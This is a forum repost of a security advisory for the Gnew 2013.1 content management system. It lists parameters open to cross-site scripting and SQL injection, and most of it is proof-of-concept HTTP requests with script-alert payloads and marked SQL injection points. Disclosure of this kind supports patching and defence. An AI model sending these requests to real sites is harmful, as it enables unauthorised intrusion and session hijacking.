Matt Posted August 12, 2013 Report Posted August 12, 2013 Description : Gnew 2013.1 suffers from cross site scripting and remote SQL injection vulnerabilities.Author : LiquidWormSource : Gnew 2013.1 Cross Site Scripting / SQL Injection ? Packet StormCode : Gnew v2013.1 Multiple XSS And SQL Injection VulnerabilitiesVendor: Raoul ProençaProduct web page: http://www.gnew.frAffected version: 2013.1Summary: Gnew is a simple Content ManagementSystem written with PHP language and using adatabase server (MySQL, PostgreSQL or SQLite)for storage.Desc: Input passed via several parameters is not properlysanitised before being returned to the user or used in SQLqueries. This can be exploited to manipulate SQL queriesby injecting arbitrary SQL code and HTML/script code in auser's browser session in context of an affected site.============================================================================================| PARAM | TYPE | FILE |============================================================================================| || gnew_template | XSS | /users/profile.php, /articles/index.php, /admin/polls.php ||------------------------------------------------------------------------------------------|| category_id | XSS | /news/submit.php ||------------------------------------------------------------------------------------------|| news_id | XSS, SQLi | /news/send.php, /comments/add.php ||------------------------------------------------------------------------------------------|| post_subject | XSS | /posts/edit.php ||------------------------------------------------------------------------------------------|| thread_id | XSS, SQLi | /posts/edit.php ||------------------------------------------------------------------------------------------|| user_email | SQLi | /users/register.php, /users/password.php || |============================================================================================Tested on: Microsoft Windows 7 Ultimate SP1 (EN) Apache 2.4.2 (Win32) PHP 5.4.7 MySQL 5.5.25aVulnerabilities discovered by Gjoko 'LiquidWorm' Krstic @zeroscienceAdvisory ID: ZSL-2013-5153Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5153.php23.07.2013---#1 [xss]GET /gnew/users/profile.php HTTP/1.1Host: localhostAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://localhost/gnew/admin/index.phpCookie: PHPSESSID=8nta354i78d5att3l2gkh9g573; gnew_date_format=D%2C+M+jS+Y%2C+g%3Ai+a; gnew_date_offset=0; gnew_language=english; gnew_template=clean"><script>alert(1)</script>Connection: keep-alive#2 [xss]POST /gnew/news/submit.php HTTP/1.1Content-Length: 112Content-Type: application/x-www-form-urlencodedReferer: http://localhost:80/gnew/Host: localhostConnection: Keep-aliveAccept-Encoding: gzip,deflatecategory_id=1"><script>alert(2);</script>&news_source=1&news_subject=1&news_text=1&preview=Preview&submit=Submit#3 [xss]POST /gnew/news/send.php HTTP/1.1Content-Type: application/x-www-form-urlencodedReferer: http://localhost:80/gnew/Host: localhostConnection: Keep-aliveAccept-Encoding: gzip,deflatefriend_email=lab@zeroscience.mk&html_email=1&news_id=572"><script>alert(3);</script>&send=Send&user_email=root@att.com&user_name=admin#4 [xss]POST /gnew/comments/add.php HTTP/1.1Content-Length: 96Content-Type: application/x-www-form-urlencodedReferer: http://localhost:80/gnew/Host: localhostConnection: Keep-aliveAccept-Encoding: gzip,deflateadd=Add&comment_subject=1&comment_text=1&news_id=574"><script>alert(4);</script>&preview=Preview#5 [sqli]POST /gnew/news/send.php HTTP/1.1Content-Type: application/x-www-form-urlencodedReferer: http://localhost:80/gnew/Host: localhostConnection: Keep-aliveAccept-Encoding: gzip,deflatefriend_email=lab@zeroscience.mk&html_email=1&news_id=572{SQL Injection}&send=Send&user_email=root@att.com&user_name=admin#6 [xss]POST /gnew/posts/edit.php HTTP/1.1Content-Length: 153Content-Type: application/x-www-form-urlencodedReferer: http://localhost:80/gnew/Host: localhostConnection: Keep-aliveAccept-Encoding: gzip,deflatecategory_id=1&edit=Edit&post_creation=1374594465&post_id=6&post_subject=zsl"><script>alert(5);</script>&post_text=test&preview_edited=Preview&thread_id=6#7 [xss]POST /gnew/posts/edit.php HTTP/1.1Content-Length: 184Content-Type: application/x-www-form-urlencodedReferer: http://localhost:80/gnew/Host: localhostConnection: Keep-aliveAccept-Encoding: gzip,deflatecategory_id=1&edit=Edit&post_creation=1374594465&post_id=6&post_subject=test&post_text=test&preview_edited=Preview&thread_id=6"><script>alert(6);</script>#8 [sqli]POST /gnew/posts/edit.php HTTP/1.1Host: localhostContent-Length: 127Content-Type: application/x-www-form-urlencodedReferer: http://localhost:80/gnew/Host: localhostConnection: Keep-aliveAccept-Encoding: gzip,deflatecategory_id=1&edit=Edit&post_creation=1374594465&post_id=6&post_subject=test&post_text=test&preview_edited=Preview&thread_id=6{SQL Injection}#9 [sqli]POST /gnew/users/password.php HTTP/1.1Host: localhostAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://localhost/gnew/users/password.phpConnection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 40user_name=test&user_email={SQL Injection}&password=Send#10 [sqli]POST /gnew/users/register.php HTTP/1.1Host: localhostAccept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateReferer: http://localhost/gnew/users/password.phpConnection: keep-aliveContent-Type: application/x-www-form-urlencodedContent-Length: 40user_name=test&user_email={SQL Injection}&password=Send Quote